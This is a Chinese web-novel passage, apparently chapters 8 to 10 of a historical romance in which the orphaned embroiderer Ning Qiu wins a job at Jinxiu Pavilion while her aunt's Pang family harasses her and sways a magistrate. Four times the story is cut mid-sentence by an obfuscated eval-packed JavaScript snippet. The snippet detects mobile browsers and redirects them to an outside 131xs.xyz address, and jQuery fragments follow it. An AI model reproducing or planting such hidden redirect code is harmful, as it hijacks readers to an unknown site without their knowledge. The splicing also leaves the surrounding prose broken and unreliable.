“不麻烦不麻烦，您没事就好。”小伙计面色讪讪，确认人无事也松了一口气，蹬蹬蹬下楼了。 客栈里没有镜子，宁秋只能凭感觉给自己上药，花了两刻钟时间，终于将自己能触碰到的伤处通通上了药，安心地睡去。 经此一事，宁姑姑这门亲算是断了，宁秋的依仗只剩下她自己。 因为脸上的伤有碍观瞻，又担心庞家人找事，宁秋躲在客栈里整整三日，吃饭喝水都是由小伙计们送上楼，能不露脸就将龟缩进行到底。 中途周砚来过一次，送来一壶周母亲手熬的鸡汤。 鲜美的鸡汤入口，宁秋险些绷不住又哭起来，还好紧要关头她忍住了，没有在周砚面前失态。 周砚买的伤药效果很是不错，勤勤恳恳使用三日后，宁秋脸上的肿胀感基本消退，皮肤依旧青一块紫一块，不美观，但与第一日相比好了不止一星半点。 出门在外吃穿用度都需要钱，看着手中现银日渐减少，宁秋心中焦急万分，脸上的伤稍有好转，她便待不住着急忙慌外出找活计了。 她身形纤细，干不了重活，大户人家的丫鬟又要签卖身契，酒楼后厨的粗活她能干，但是人家一看她的形象便失了兴趣，委婉地劝说她离开。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547077|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宁秋转转悠悠两天，一无所获，又累又饿，只能就近找个地方填饱肚子了。 馄饨铺她不是第一次来了，与店老板还算熟悉，今日老板娘也在。 通过与老板娘的闲谈，她得知平州中心大街的金绣阁正在招学徒和绣娘，每月按时发月银还包一顿午饭。 “老板娘，您这个消息可靠吗？”宁秋双眼放光，满脸期待地盯着老板娘。 老板娘是个圆脸微胖的可爱妇人，当即朗声笑道：“千真万确，我表妹就在那里当绣娘，她传出来的消息准没错。” “太好了，不知招人何时截止，从这里到金绣阁步行大概需要多长时间呢？” 这个时辰馄饨店中没什么客人，老板娘得闲也乐得跟宁秋多说几句。 小姑娘脸上带着伤，也不知道遭遇了什么事情，能帮一把是一把，全当日行一善了。 “金绣阁的活很抢手的，学徒没有月银，主要是跟在铺子老师傅身边学手艺，做点力所能及的杂活，出师后根据手艺水平划分等级，等级越高绣活越好，拿的月钱也会更多。” 老板娘边说话边打量宁秋，竟从她的眉眼中看出几分熟悉，当即试探性问道：“姑娘是哪家的呀？我瞧你有点眼熟。” “我......我不是平州人，过来投亲的，只是......”宁秋面露窘态欲言又止。 老板娘做生意多年，惯会看人脸色，见宁秋为难，识趣地没有追问，还适时地转移了话题。 她道：“哦哦，原来如此，没事，谁家没个难处。金绣阁只招三天，去晚就轮不上了，你若想谋绣娘的活，现在就可以出发，从巷子左边出去，右拐进入中心大街，一路朝前走，大概半个时辰就能到。” “好，多谢老板娘。” 宁秋估算一下时间，告别好心的老板娘急哄哄离去。 她本就会刺绣，懂的花样虽然没有平州本地的绣娘多，但是有底子在，总比那些啥也不懂的人有竞争力。 抱着这样的念想，宁秋走起路来风风火火，连身上的伤也感觉不到疼了。 金绣阁是平州城最大的绣坊，主要做衣裳和绣品生意，品质较高，客人大多是富户或者官家的小姐夫人们，人脉很广，实力自是不必说。 宁秋按照馄饨店老板娘的指路老老实实前行，踏上中心大街后，她明显感觉到不一样了。 街道平坦宽敞，目测可容纳四辆马车并行，随处可见穿着华贵的男男女女，就连街边摆的小摊也有很多她不曾见过的新鲜玩意。 宁秋边走边看，心中连连惊叹，好不容易抵达金绣阁门口，眼前的一幕直接将她震在当场。 馄饨铺老板娘对金绣阁的评价还是太保守了，知道抢手，但没说抢手到这种地步啊！ 按照排队的人数算，恐怕城里自认为符合选拔条件，需要一份活计的姑娘都来了吧？ 宁秋有些泄气，在旁看了好一会儿，认命地走到队伍末尾，老老实实排队。 第一天报名的人实在太多，登记和初步筛选就花了整整一天，轮到宁秋时天色已经灰蒙蒙，夜幕降临。 她按照要求仔仔细细将面前的两块布缝合，上交后，明显能看到负责筛选的绣娘眼前一亮。 片刻后，那绣娘柔笑着对她道：“针脚细密，缝合掩藏很成功，小姑娘，明日午时前，你过来复选吧！” 8. 苗头 从金绣阁出来，宁秋浑身轻飘飘的，脑袋有些晕，脚步虚浮，不确定是高兴过头，还是累出了毛病。 她往边上一站，倚靠着墙休息一刻钟才慢悠悠动身往回走。 路上行人很少，鳞次栉比的铺子几乎都打烊了，只剩下那些供人打尖住店的酒楼客栈和寻欢作乐的秦楼楚馆依旧灯火通明。 宁秋蹒跚着步子，踽踽独行。 褪去进入复选的愉悦后，再看晚间漆黑中带着幽黄光线的街道，她只觉得骇人得紧，当下不禁后悔起来。 为什么自己不能控制一下倔脾气，今日人多排队就明日再来不行吗？ 非得咬牙排半天，时间只够初筛，摸黑回客栈就算了，明日复试还要再跑一趟，也没省什么事，反倒因此走夜路担惊受怕。 “唉！” 宁秋越想心中越懊悔，叹完一口气，街对面突然传来一声闷响，随即好几名醉汉伴随着哄笑声跌跌撞撞进入她的视野之中，把她吓了一大跳，慌忙朝阴影处躲避。 好在双方隔了一条街，宁秋躲得也快，夜里视物不清晰，醉汉们并没有发现她的存在，待街道重新归于平静已是一刻钟后了。 宁秋从阴影处走出来，轻轻拍了拍胸脯压压惊，不敢再磨磨蹭蹭，一时间如同身后有狗撵追似的，撒开腿就跑，一路呼哧带喘，遇到客栈就在门口歇一歇，缓过来继续跑，半个时辰的路程硬生生被她缩短至两刻钟。 当她看见带着福来客栈标志的大灯笼时，喜极而泣，悬着的心终于落下来了。 “哎呦，姑奶奶，您总算回来了。” 福来客栈的小伙计彭青着急忙慌迎上来，“这一整日您去哪里了？到处不见人影，再不回来小的就要去报官了。” 彭青是个热心肠的，那晚受周砚所托照看宁秋一二，今夜上值突然发现人不见了，急得团团转，若非职责所在离不得客栈，他自己就跑出去找人了。 复而一见到宁秋，情绪上难免有些不受控制，说话语气又急又冲，面色也不太好。 宁秋住进福来客栈五六日，与彭青没少接触，知道他没有恶意，气还没喘匀就赶忙解释道：“对不起，让你担心了。” “我今日出去找活干，下午才知金绣阁在招绣娘，机会难得，排了半天队才轮到我，那时天已经黑了，晚也没办法。” 她笑的腼腆，实在太累也不管什么形象不形象，一屁股坐到地上，背靠客栈的墙面继续说道：“你是不知道金绣阁的绣娘竞争多激烈，为了聘上这份活，大家伙也是拼了，从街头排到街尾，从早上排到晚上，懂刺绣的就不必说了，那些缝衣服都费劲的人也来应聘学徒，就想多一门手艺。” 说到自己感兴趣的领域，宁秋眉目舒展，整个人的状态看起来很放松。 “原来如此。” 搞清楚来龙去脉，彭青的情绪也稳定下来。 他笑着问道：“金绣阁在咱们平州名声响当当，谁人不知谁人不晓？那里用工要求可高了，姑娘可有把握？” “有五成把握。” 宁秋嘿嘿一笑，俏皮又得意道：“我通过了初筛，管事的让我明日午时之前过去复试，好好表现还是有机会拿到名额的。” “那我提前恭喜姑娘了。” 彭青这会儿也闲，干脆坐门槛上与宁秋聊起关于金绣阁的八卦。 “去年金绣阁有两个绣娘到一个官老爷家量身定做衣裳，被那家老爷看上聘为良妾，直接跨越阶层，以后的孩子也是官家子，惹得城中不少大姑娘小媳妇羡慕呢！” “真的？”宁秋瞪大了双眼。 她对做高门妾不感兴趣，但惊诧于此事背后的各种弯弯绕绕。 绣娘不是一份养家糊口的活计吗？赚的是技术，赚的是辛苦钱，怎么到了别人那就变得如此陌生？ “当然是真的。”彭青左右看看，刻意压低声音，“不过是哪位官老爷咱们不能议论，大户里头的事多着呢，你以后若能进金绣阁做工记得多注意点，你愿不愿意是一回事，遇到不讲理的，咱们小老百姓也斗不过不是？” 宁秋点点头，不好再同彭青八卦，找个借口回屋洗洗睡了。 她歇下后，彭青才想起来忘记正事了，顿时懊恼不已，嘀咕道：“周爷带来的包袱怎么办？只能明日再找机会转交了。” ...... 宁秋有做绣活的经验，复试要求在手帕上绣一朵菊花，她也完成的很好，当场就拿到了一个名额，暂评为一级绣娘，工钱每月三两银子。 除此之外，铺子里的绣娘还有一份福利，下工时间做的绣品可以在铺子里的寄卖专区售卖，铺子只抽一成，其他收益全归绣娘本人所有。 这对于有家庭负担希望多挣银子的绣娘来说，是份及其可观的外快。 金绣阁只包一顿午饭，过年过节会下发节礼，不包住宿，宁秋觉得有些不太方便。 但是金绣阁的待遇着实可观，相对而言，住宿问题就显得微不足道了。 人逢喜事精神爽。 宁秋笑盈盈地告别金绣阁的管事，直奔馄饨铺，打算点一大碗肉馄饨再加一个卤鸡腿好好庆祝一下。 她沉浸在未来可期的喜悦当中，并不知在无人注意的角落里，已经有个人盯上她了。 …… 庞桥今日旬休，闲来无事出门四处找消遣。 伊春楼的杨柳姑娘近来很合他的心，可惜楼里晚上才做生意，白天过去有银子都花不出去。 平昌街那边养了两年的外室怀孕了，短短一个月时间已经问他要了三次银子，还一次比一次多，烦人得很，又不能不管。 为此他借职务之便吃了不少回扣，整日里提心吊胆，就怕被主家发现没他好果子吃。 琢磨来琢磨去，庞桥决定去赌坊试试手气。 一来他确实很缺钱，需要获取更多来满足当下的需求，二来因他上次输了五两银子，今日看看能不能找回场子？ 半个时辰的热血沸腾，整个人兴奋无比，各种喊叫声夹杂在一起，一步步将人引入深坑。 庞桥一次又一次将银子拍到赌桌上，叫喊不比在场其他人小声，可惜结果不尽人意，输光银子不说，还倒欠赌坊五十两。 五十两可不是一个小数目，足够在平州相对一般的地段买一处小宅子了。 庞桥在朱员外家只是个小管事，每月月银八两，乃家中挣钱主力，加之厌烦被管束，财政大权必然要抓在自己的手中。 为博孝子的名声，庞父庞母赚的钱他大多情况下都不会要，让他们自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547078|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留着，偶尔也会给个一两二两意思意思。 但宁巧娘赚的必须交给他！ 这么多年来，连家里人都不知他手里到底有多少钱。 赌场的规矩霸道不讲理，他们算计别人可以，但是别人胆敢欠钱不还，以后全家都别想好过。 正是清楚这一点，庞桥心中才焦虑不安。 五十两银子啊！ 限时三日归还，就是将他卖了也搞不到那么多钱。 庞桥一边往回走一边绞尽脑汁寻找来钱的路子，正暴躁之时，突然被金绣阁盛大的招工阵仗吸引，并在人群中发现了一张还算熟悉的面孔。 呵，宁家丫头竟还有这等手艺？ 庞桥一双老鼠眼转动的飞快，脑中突然灵光一闪，贪婪的笑缓缓爬上他尖酸刻薄的脸庞，定格在一瞬间。 他尾随宁秋满街转悠，跟着她来到馄饨铺躲在外面偷看，见她一个人点一大碗馄饨还加了鸡腿，顿时心生不满，暗骂她败家乱花钱。 一个赔钱货就不该吃那么好，浪费钱。 有钱就该孝敬长辈，没了爹不是还有姑姑和姑父吗？不孝顺的东西，只顾着自己吃香的喝辣的，根本不顾长辈的死活。 庞桥就如同一只见不得光的老鼠，躲在阴暗处窥视他的猎物，心里兀自蛐蛐，幻想着别人口袋里的银子都是他的。 宁秋这会儿与馄饨店老板娘聊的正欢，还能大口大口吃肉，心情好极了，根本不知角落里还有个不速之客，更不知庞桥心中所想，不然她高低要“呵忒”一口，再用扫把将人赶走，大骂一句：“呸，真不要脸！” “我的刺绣手艺在章回县时还拿的出手，在人才辈出的金绣阁就不够看了，只评上了一级。” 宁秋高兴归高兴，自知之明还是有的，特别是听到馄饨铺老板娘一直夸她，自己也很不好意思。 “姑娘这就想岔了。” 老板娘抿嘴摇了摇头，不赞同宁秋的说法，鼓励她道：“众所周知金绣阁不好进，你能选上说明能力强，手艺自然没得说，金绣阁的一级绣娘已经是很多人够不到的高度了，你不必过于谦虚。” “可是……” “哎哟，可是什么嘞？” 老板娘朗声大笑，说话的声音也随即变大。 她温柔地揉了揉宁秋不算柔顺的发顶，继续道：“你莫要内耗多想，相信自己值得，相信自己就是如此优秀，相信你能拿下这份人人艳羡的活计是凭借自己的能力而不是单靠运气。” 宁秋双眸一亮，不由自主地弯起嘴角，当即便附和道：“老板娘，您说得对，我就是如此优秀，我值得拥有好的东西。” “这才对嘛！” 老板娘今日又干了一件好事心情愉悦，一边念叨着“太瘦了，小姑娘家家，养点肉才显得有福气”，一边用大勺在卤肉锅里捞，片刻后捞出一个卤蛋，非要送给宁秋吃。 宁秋实在拧不过老板娘的热情，腼腆一笑后大大方方接受了这份好意，心里暗暗下决心，等她在平州城站稳脚跟，手头宽裕了也要给老板娘送一份礼，感谢她的帮助。 这一顿主客皆欢，宁秋还要抓紧时间寻找合适的住处，告别老板夫妻后，她着急忙慌回福来客栈，在福来客栈门口看到了几日不露面的高大身影。 9. 活计 “周……周大哥，你怎么这个时辰过来了，是找我有什么事吗？” 宁秋垂首停在周砚面前，紧捏着自己的衣摆，不敢与周砚对视。 随着两人的距离越来越近，她莫名生出一种呼吸不畅的感觉，想即刻逃离，逃得越远越好，说话也不由自主磕巴起来。 “你在怕我？”周砚蹙眉，用了肯定的语气。 宁秋微愣，下一瞬脑袋就摇成了拨浪鼓，极力否认道：“没有啊！怎么会呢！” “那你为何低着头不看我，站那么远，声如蚊呐，听你讲话真费劲。” 宁秋：...... 周砚身边都是些大老爷们，习惯了直来直往的相处方式，哪里懂姑娘家九曲八弯的心思？ 自是想到什么就问什么，也不管对方能不能接受，又会是什么样的反应？ 他居高临下盯着宁秋看，好一会儿过去也不见面前的姑娘抬头，发顶毛毛躁躁有些乱，他的手几度想抬起揉一揉，都被他生生忍住了。 他们面对面站立，一高一矮在福来客栈门口格外显眼，不少过路人都朝他们投来好奇的目光，诡异尴尬的气氛因为彼此的沉默逐渐蔓延开来。 周砚自我意识很强，向来不在意那些，面上神色不变依旧耐心等面前的姑娘抬头。 而宁秋脸皮薄，对别人打量的目光格外敏感，此时已经满脸通红，呆站在原地不知所措，恨不得立刻找个地缝钻进去，谁也看不见才好。 如此僵持了不知多久，她终是受不住一把扯过周砚的手臂吭哧吭哧要往客栈里面拉。 周砚正经惯了，没料到宁秋会直接上手，手臂处传来一阵温热，身子僵了一瞬很快反应过来，顺从地跟在后面进了客栈。 他唇瓣紧抿，眸色幽深，目光似有若无地扫过被宁秋抓住的位置，心里荡漾起一种奇异的感觉。 两人找了个角落，探头探脑，不知道的还以为要做什么见不得人的事。 待确认无人注意后，宁秋大大松了一口气，当即扔开周砚的手，抬眼望向他，用公事公办的语气道：“说吧！找我什么事？” 周砚眉梢一挑，难得露出笑容，打趣道：“没事就不能来找你了？” “不，不是。” 他说的随意，却不知短短一句话震的宁秋定在当场，双眸瞪大，不知如何回答。 顿了顿，她调整好自己的状态，斟酌着准备回话，便见周砚笑意一敛，又恢复了往日的冷淡严肃，仿佛方才那一幕只是她的错觉。 “好了，不逗你了。” 周砚将一个荷包递过去，解释道：“你家的事外人不便多掺活，这是五两银子，我娘让我送过来的，你拿着应应急。” “不不不，无功不受禄，你们已经帮我很多了，这钱我不能拿。” 宁秋连连摆手，脚步也不自觉后退，倔强道：“我有能力挣钱养活自己。” 阿爹疼她爱她，处处照顾她，却也时常教导她要独立自强，鼓励她多学多看多悟，遇到难处也别轻言放弃。 这大半个月来，人情冷暖、坎坷挫折她都经历了不少，也曾在崩溃的边缘徘徊，庆幸的是她从未想过放弃自己。 一旦有机会出现，便是拼了性命也要紧紧抓住，直到自己从坑里爬出来，开始新的生活。 “我刚从金绣阁回来，现在已经是金绣阁的一级绣娘了。” 谈及这个好消息，宁秋依旧忍不住开心，嘴角的梨涡随着她的面部动作若隐若现，很是喜人。 “往后每个月都有月钱领，日子会越过越好的，所以你们不必为我担心，非亲非故，你和婶婶能帮我到这个地步已是天大的恩情，再拿你们的银子就说不过去了。我若真拿了钱，阿爹九泉之下肯定也会骂我不懂事，我得让他安心。” 周砚日常两点一线，衙门和家，琐碎事情几乎都是他娘在打理，吃穿用度有啥就吃啥用啥，个中细节他还真不了解。 由于公事原因，他经常上街或者去平州下辖的县镇走一走，对平州的街巷规划很熟悉，宁秋提及金绣阁他便第一时间在脑海里搜寻店铺的位置，心下了然。 铺子宽敞占地广，确实很有实力，是份有前途的活计。 “既如此，你自己好自为之吧！” 周砚将荷包收回，硬邦邦扔下一句话就转身走了，留下宁秋懵逼一脸，摸不着头脑。 正巧这时候彭青走过来打招呼，周砚只颔首回应并没有停留，几息功夫，人影都不见了。 宁秋还没从方才的场景转移到当下，不是正在谈话吗？怎么说走就走了？ “宁姑娘，周爷他怎么了，你们吵架了？”彭青与宁秋接触几日，关系还算不错，对宁秋也就没有像对其他客人那样疏离客气，“我看他脸色不太好。” “不知道，方才还聊得好好的，他突然就走了，还让我好自为之，他什么意思啊？” 宁秋撇撇嘴，两手一摊表示自己也搞不清楚状况，自然无法解答彭青的疑惑。 彭青讷讷嘀咕，看向宁秋的眼神有点怪异，不过他什么也没说，宁秋也只当没注意到。 两人对视一眼，默契地转身，各忙各的去了。 …… 金绣阁的活比宁秋想象中要轻松。 一级绣娘只负责做点小物件或者成衣的配饰，每日都有固定的数量，干完活拿给管事检查，全部过关就能下工干别的事情了。 宁秋为了多点时间找住处已经连续五日提前下工，可惜合适的房子太难找，白白忙活几日也没找到稳定的落脚处。 手里的现银所剩无几，根本不够她一个月的吃穿用度开销。 宁秋有些后悔，那天干嘛不接受周砚的好意呢？ 银子拿了可以打欠条，手头宽裕再还就好了，也不知道现在找上门要银子人家还给不给。 宁秋蔫头耷脑地从金绣阁出来，打算继续去牙行蹲守，她就不信天天去天天问，还找不到合适的住处。 就在她给自己加油鼓劲的时候，突然听到身后有人喊“秋秋”，便下意识地回头看去。 这不看还好，一看恨不得戳瞎自己的的双眼，只见宁巧娘抽抽噎噎，一副泫然若泣的模样，不禁恶寒，起皮疙瘩都起了一身。 “秋秋，都是姑姑不好让你受苦了，我们已经知道错了，你跟姑姑回家，让我们好好补偿你行不行！” 宁巧娘努力挤出几滴眼泪，眉眼慈和温柔，言语间将姿态放得极低，不知道的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547079|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还真以为是什么疼爱家中孩子的长辈。 她伸手想抱宁秋，被宁秋木着脸躲开了。 “秋秋，你是不是还在怪姑姑？唉，姑姑也是没办法，你怎么就不能体谅体谅我？” 宁巧娘本不想来，奈何丈夫说一不二，非要她过来将这个死丫头带回去，不想来都不行。 偏偏这丫头是个冷心冷肺的，说了那么多依旧不为所动，还悄悄挪了脚步，实在太不将她放在眼里了。 丈夫强硬的态度，侄女目空一切的忽视，都让她破防，情绪也变得激动起来。 “我没你好命，有个把你当宝贝的秀才爹，你爷爷奶奶都重男轻女，我从记事起就有干不完的活，家里有什么好东西都先紧着哥哥们，长大后为了给家里的哥哥娶媳妇，我还要牺牲自己卖身去别人家当丫鬟，挨打挨骂都是家常便饭，如今好不容易有了安稳的家，你还要来搅和，见不得我好过，你怎么那么恶毒？” 宁巧娘一把鼻涕一把泪，越说越心酸，竟是控制不住自己的情绪任凭泪水肆意糊满脸，狼狈的不像话，瞧着却比一开始的矫揉造作真情实感多了。 “你爹占尽好处，才有你的好日子，既得利益者有什么资格对我指指点点？没爹没娘，指不定就是天生带克，之后哪个男人敢要你？能住进我家就偷着乐吧！走，跟我回去。” 宁巧娘似乎被自己说服了，自认为站在道德制高点上，除了她，其他人都有错，而她是唯一的受害者。 她抬手一擦，将泪水拭去，竟直接上手试图强制性带走宁秋，眼里的慈爱已被狠劲所取代，整个人变得陌生无比。 不对，或许不是她变了，而是潜藏在她内心深处的恶意被激发了。 宁秋迅速躲开，警惕地注意宁巧娘的动作，而后一字一句反驳道：“你的苦难不是我带来的，也不是我阿爹造成的。” “你的三个哥哥里就属我阿爹待你最好，只要他在家，什么活都包揽了，他不在，也有我阿娘同你分担。” “至于读书，大伯二伯也有机会，只是他们不珍惜怕吃苦，没有坚持下来，阿爹八岁才开蒙读书，十岁之后念书就没花过家里的银子，都是他日日苦读赚学堂里的奖金支付束脩，先生爱才，时长接济，更别提后面有了更多赚钱门路，不仅没花家里的钱，还每月拿点回来。” “再说娶媳妇的问题，我外婆家都死光了，我阿娘嫁过来根本没要彩礼，阿爹阿娘两情相悦，结发为夫妻，你的卖身钱我们家一个铜板都没见到，跟我们可没关系。” 姑侄两所在的位置本来就很显眼，已经有好奇心重的人凑过来看热闹了。 紧接着宁秋一顿输出，围观的人就更多了。 她一边反驳宁巧娘，一边找准时机撒开腿就跑，宁巧娘在身后狂追怒骂，直接轰动整条街，脸都丢尽了。 “你个死孩子，给我停下，停下！” 宁巧娘嚷嚷地越大声，宁秋就跑得越快，一刻钟后，烦人的叫骂声终于停止了。 宁秋躲在拐角大口大口喘气，等心跳平稳一些，她才探头查看身后的情况，一切正常，顿时松了一口气。 “真是阴魂不散，看来得想想其他解决办法了。” 宁秋兀自嘀咕。 10. 算计 大伯二伯还有姑姑一家都是大麻烦，章回县的家暂时回不去，姑姑又追到金绣阁来，不知她是否清楚自己已得了金绣阁的活计，若是知晓，往后恐怕就没清静日子过了。 宁秋想不通，明明庞家人都看不惯她，恨不得喝她的血吃她的肉，自己与他们断交不是正好顺了他们的意么，为何还要紧咬着她不放？ 是惦记她爹留给她的东西，还是知道她能赚钱，想榨取更多的利益？ 或许都有。 为什么总有人分不清自己的口袋和别人的口袋，对别人口袋里的钱掌控欲就那么强？ 不要脸！ 宁秋晃了晃脑袋，心里疯狂吐槽一轮后决定不想那么多有的没的，兵来将挡水来土掩，且等事情找上门再说吧！ 当务之急要尽快找到落脚地，然后好好干活，巩固她在金绣阁的位置。 她思考的方向没有错，但是她低估了人的下限，错估了人性的恶。 翌日，金绣阁如往常般准点开门营业，宁秋也以饱满的热情和精神投入绣娘的身份中。 然巳时一过，金绣阁门口突然热闹起来，百姓们为了瞧热闹将门口围的水泄不通，已经严重影响到铺子的生意了。 掌柜听到消息匆匆出来把控大局，简单了解情况后与管事确认宁秋的身份，确实是他们金绣阁的绣娘，便命人唤宁秋出来，解决此事。 宁秋还指望这份工养活自己，非常珍惜，做事勤勤恳恳，不敢懈怠，现在一听外头有人闹事，掌柜还点名让她出去，顿时又气恼又担心。 气恼庞家人不要脸，闹事闹到这边来了，担心影响铺子生意，掌柜一气之下将她辞退。 好不容易选上的活啊！ 要是真的因此被辞退，她杀庞家人的心都有了。 宁秋连连和掌柜、管事赔礼道歉，承诺一定会尽快解决好此事，让他们再给她一个机会，别赶她走。 掌柜忙得很，一个小绣娘的去留问题他懒得理，便朝管事投去一个眼神，不再理会外面的闹剧。 管事姓陈，是个温柔干练的妇人。 她对宁秋的印象很好，便安抚她道：“放宽心去处理，不必担心其他，实在不行就报官吧！” “多谢您！” 宁秋感激地向陈管事鞠了一躬，憋着一口气冲出去，也不管什么形象了，指着宁巧娘婆媳两破口大骂。 “你们还要不要脸了？旁人家有点破事恨不得捂死，你们倒好，非要搞得满城皆知，想出名想疯了吧？” “好好好，我成全你们，报官太慢，我们直接去衙门，让官老爷评评理。” 宁秋一边骂一边有目的的远离金绣阁，将人群引向其他地方。 百姓们一听要报官立马兴奋起来，人群中起哄声不断，一窝蜂将庞家婆媳和宁秋围在中间，裹挟着她们往前走。 眼看事情越闹越大并往失控的方向发展，庞家婆媳急了，她们只是想从宁秋身上榨取利益，可不想见官啊！ 一旦闹到官老爷面前，不管对她们有利的还是无利的，都要如实陈情，还有什么好果子吃？ “你个死丫头，果真恶毒，克死双亲不说，我们好心收留你反倒落不着好，哎呦，大家伙来评评理啊，我老太婆一把年纪走路都费劲，在家还要被打被虐待，你们看，我的手臂还青着，身上腿上也有伤，全是眼前没良心的白眼狼干的。” 庞家人不占理，心虚得很，但是她们不想被宁秋压一头，此时也不过是避重就轻，色厉内苒罢了。 人群里的百姓一听庞母的话纷纷议论起来，立场摇摆不定。 “呸！说得好像谁身上没有伤似的，明明是你们一家人打我怎么还有脸提？” 宁秋不服输地回怼，配上她俊秀脸上的淤青，看起来比庞家婆媳更有说服力。 双方争执不下，混乱间行动受限，不由自主的往衙门走。 躲在暗中观察的庞桥发觉事情不对，心下一沉，怕婆媳俩稳不住说出什么不该说的话拖累他，思来想去，还是决定将手中刚得的十两银子舍出去了。 赌坊那边还能再拖一天，他今日必须将宁家丫头拿下，若她不肯乖乖听话，就别怪做姑父的不讲情面了。 庞桥的脸上闪过一抹阴狠，转身操近道先一步去衙门打点。 他在朱府许多年，常替主家在外行走，衙门里也是有几个熟人的。 打点的银子一交，再提一提宁秋无依无靠的身世，扯一扯主家的大皮，就是推官大人也会给几分薄面，将此事囫囵过去。 为了计划能顺利进行，庞桥还特意找熟人打听了周砚的去向，得知他外出公办并不在衙门，顿时大喜。 嘿，唯一能帮臭丫头的人不在，看她怎么同他斗？ 庞桥冷哼一声，心中畅快得意，哼着小曲朝府衙大门走，老娘和媳妇都靠不住，还得他提前过去蹲守，将主动权把控在自己手中。 另一边。 宁秋与庞家婆媳已抵达府衙门口，身后跟着一群看热闹的老百姓，声势浩大，站门口值守的两名捕快瞧见动静都惊了一下，以为遇到什么大案子，苦主闹上府衙了。 二人交互一个眼神，主动迎上去询问。 他们面容冷肃，佩刀往前一挡，所有人不约而同止住了步伐，争吵声、议论声全都停止。 这是宁秋第二次报官，之前在章回县被无赖骚扰的时候她就勇敢报过一次，可惜没能为自己讨回公道还被迫逃离，有家不能回。 此时她心中很忐忑，雄赳赳气昂昂地来，实则并不报太大的希望。 “来者何人，所谓何事？” 捕快刚开口问话，庞母便着急忙慌抢答，妄图压宁秋一头。 宁秋也不甘示弱，紧接着从自己这方角度将前因后果说了一遍。 双方谁也不让谁，场面一度陷入混乱，吵得两捕快逐渐失去耐心，吼道：“都安静！” “此事我们会禀明大人，尔等可准备状子了？”捕快继续问。 宁秋摇摇头，庞家婆媳也保持沉默。 “那就等着吧！”捕快不耐地回了一句，二人分工，一人继续在门口值守，另一人进衙门回禀。 正在这时，庞桥出现了，庞家婆媳仿佛找到主心骨般，下巴微抬，气焰高涨，一副小人得志的嘚瑟模样，看的人牙痒痒。 面对挑衅，宁秋别过脸全当没看见。 府衙的办事效率还算高，等了一刻钟左右，传话的捕快匆匆出来，领着宁秋一行入内。 推官大人高坐堂上，宁秋几人跪在堂内，全程连头都不敢抬。 两刻钟后，案子被定性为家庭纷争，协调为主，草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547080|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草结案了。 不仅如此，面对庞桥面甜心苦的陈情，推官大人给予了支持，劝说宁秋莫要太任性，跟长辈回家有话慢慢说。 宁秋心里那个气啊！ 只是公堂之上容不得她撒泼，还不能挂脸对大人不敬，只能生生忍下来，别提多憋屈了。 从府衙走出来，宁秋仿佛被什么东西吸干了精气。 不管是好奇询问的围观人群，还是庞家人的挑衅，她都没有精力再去理会。 脑子空荡荡，心里也空落落的。 “秋丫头，推官大人都说了是家事，早商议早解决，不如你现在就随我们回家吧！别任性，我们是你的长辈，还会害你不成？” 庞桥假惺惺地劝说，瘦削的脸庞上下抽动，老鼠眼一转，勾起一抹笑，“秋丫头，你年纪还小不懂人心险恶，外头那些人哪能跟自家人比，打断骨头还连着筋呢，你跟姑姑姑父回家，有什么话我们一家人慢慢说。” “呸！” 宁秋啐了一口，不想再和庞家人掰扯直接离去。 本以为经此一遭庞家人会收敛一点，再不济也会等风声过去再折腾。 不曾想一个中午的时间，他们就调整好状态再次闹上金绣阁。 闹一次可以理解，见宁秋一个小姑娘可怜还能包容，可一而再，再而三就过分了。 金绣阁开门做生意不是做慈善，若宁秋的存在总给铺子带来麻烦，那就没有留下的必要了。 “秋娘子，这样下去不妥啊！” 陈管事一开口宁秋便明白对方真正想表达的意思，赶忙争取道：“您放心，三日内我必然将事情解决好，这三日我告假处理，绝不会让他们影响铺子，您再给我一个机会好不好？” 宁秋眼神中满是恳求，白净小脸上的青紫还剩一点痕迹，眼眶泛红，让人见了就忍不住心软。 